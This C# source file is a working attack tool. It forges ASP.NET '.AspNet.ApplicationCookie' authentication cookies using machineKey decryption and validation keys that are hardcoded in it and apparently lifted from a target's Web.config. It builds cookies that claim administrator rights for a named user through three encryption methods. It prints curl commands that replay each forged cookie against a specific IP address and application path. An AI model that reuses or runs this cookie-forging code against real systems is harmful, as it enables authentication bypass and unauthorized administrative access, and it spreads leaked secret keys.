// CookieForge.cs — Manual AES+HMAC forge of .AspNet.ApplicationCookie
// machineKey from Web.config (decryption=AES, validation=HMACSHA256)
// Compile: mcs -r:System.Web -r:System.Core -out:CookieForge.exe CookieForge.cs
// Run: mono CookieForge.exe

using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;
using System.Web;
using System.Web.Security;

class CookieForge
{
    static void Main(string[] args)
    {
        string decKeyHex = "304DCCF3428FB1D39BCBCED801804B829F5BCD4D0E46A0E923AEFD427D9026E7";
        string valKeyHex = "632EF20769E89AD1EEF7C18D3AAFFDC07B8D8241A1DAD922C27FFCC57F0A16DAC26AB5C4DF83CEE7289615849BE8FF369A41";

        byte[] decKey = HexToBytes(decKeyHex);  // 32 bytes = AES-256
        byte[] valKey = HexToBytes(valKeyHex);  // 50 bytes

        // Approach 1: try MachineKey.Protect (available in .NET 4.5+)
        // Purpose: "Microsoft.AspNet.Identity.Application"
        string[] purposes = new string[] {
            "Microsoft.AspNet.Identity.Application"
        };

        // Try different user data formats
        string[] payloads = new string[] {
            "irelyadmin|1|Administrator|01",
            "{\"sub\":\"1\",\"name\":\"irelyadmin\",\"role\":\"Administrator\",\"company\":\"01\"}",
        };

        foreach (string payload in payloads)
        {
            byte[] data = Encoding.UTF8.GetBytes(payload);

            // Method 1: MachineKey.Protect (may fail if machineKey not configured)
            try {
                byte[] protectedData = MachineKey.Protect(data, purposes);
                string cookie = Convert.ToBase64String(protectedData);
                Console.WriteLine("=== MachineKey.Protect ===");
                Console.WriteLine("Payload: " + payload);
                Console.WriteLine("Cookie: " + cookie);
                Console.WriteLine("Test: curl -sS -b \".AspNet.ApplicationCookie=" + cookie + "\" http://50.21.183.111/2210CherryEnergyUAP1/");
                Console.WriteLine();
            } catch (Exception ex) {
                Console.WriteLine("MachineKey.Protect failed for payload '" + payload + "': " + ex.Message);
            }

            // Method 2: Manual AES-CBC + HMACSHA256
            try {
                string manualCookie = ManualProtect(data, decKey, valKey);
                Console.WriteLine("=== Manual AES+HMAC ===");
                Console.WriteLine("Payload: " + payload);
                Console.WriteLine("Cookie: " + manualCookie);
                Console.WriteLine("Test: curl -sS -b \".AspNet.ApplicationCookie=" + manualCookie + "\" http://50.21.183.111/2210CherryEnergyUAP1/");
                Console.WriteLine();
            } catch (Exception ex) {
                Console.WriteLine("Manual failed: " + ex.Message);
            }

            // Method 3: FormsAuthentication (older format, may be accepted)
            try {
                FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(
                    2,                      // version
                    "irelyadmin",           // name
                    DateTime.Now,           // issue date
                    DateTime.Now.AddHours(1),// expiry
                    false,                  // persistent
                    payload,                // user data
                    "/"                     // cookie path
                );
                string formsCookie = FormsAuthentication.Encrypt(ticket);
                Console.WriteLine("=== FormsAuthentication.Encrypt ===");
                Console.WriteLine("Payload: " + payload);
                Console.WriteLine("Cookie (.AspNet.ApplicationCookie): " + formsCookie);
                Console.WriteLine("Test: curl -sS -b \".AspNet.ApplicationCookie=" + formsCookie + "\" http://50.21.183.111/2210CherryEnergyUAP1/");
                Console.WriteLine();
            } catch (Exception ex) {
                Console.WriteLine("FormsAuthentication failed: " + ex.Message);
            }
        }

        // Also try with OWIN binary ticket format
        // OWIN serializes AuthenticationTicket as:
        // [version:1][ticket data...][magic:0xFE][HMAC:32]
        // The ticket data itself is DataContractSerializer output of ClaimsIdentity
        Console.WriteLine("=== Note: OWIN cookie format requires proper ClaimsIdentity serialization ===");
        Console.WriteLine("The exact binary format of OWIN cookie payload:");
        Console.WriteLine("1. AuthenticationTicket serialized via DataContractSerializer");
        Console.WriteLine("2. Protected via SecureDataFormat (MachineKey-based)");
        Console.WriteLine("3. Purpose: Microsoft.AspNet.Identity.Application");
        Console.WriteLine();
        Console.WriteLine("Without matching the exact serialization, the server will reject the cookie.");
        Console.WriteLine("Alternative: use dotnet (C# 8) with Microsoft.Owin.Security.Interop NuGet package");
    }

    static string ManualProtect(byte[] data, byte[] decKey, byte[] valKey)
    {
        // Generate random IV
        byte[] iv = new byte[16];
        using (var rng = new RNGCryptoServiceProvider())
            rng.GetBytes(iv);

        // AES-CBC encrypt
        byte[] encrypted;
        using (var aes = Aes.Create())
        {
            aes.Key = decKey;
            aes.IV = iv;
            aes.Mode = CipherMode.CBC;
            aes.Padding = PaddingMode.PKCS7;
            using (var encryptor = aes.CreateEncryptor())
                encrypted = encryptor.TransformFinalBlock(data, 0, data.Length);
        }

        // Build: IV + encrypted
        byte[] blob = new byte[iv.Length + encrypted.Length];
        Buffer.BlockCopy(iv, 0, blob, 0, iv.Length);
        Buffer.BlockCopy(encrypted, 0, blob, iv.Length, encrypted.Length);

        // HMAC-SHA256
        byte[] mac;
        using (var hmac = new HMACSHA256(valKey))
            mac = hmac.ComputeHash(blob);

        // Result: MAC + blob
        byte[] result = new byte[mac.Length + blob.Length];
        Buffer.BlockCopy(mac, 0, result, 0, mac.Length);
        Buffer.BlockCopy(blob, 0, result, mac.Length, blob.Length);

        return Convert.ToBase64String(result);
    }

    static byte[] HexToBytes(string hex)
    {
        byte[] bytes = new byte[hex.Length / 2];
        for (int i = 0; i < hex.Length; i += 2)
            bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
        return bytes;
    }
}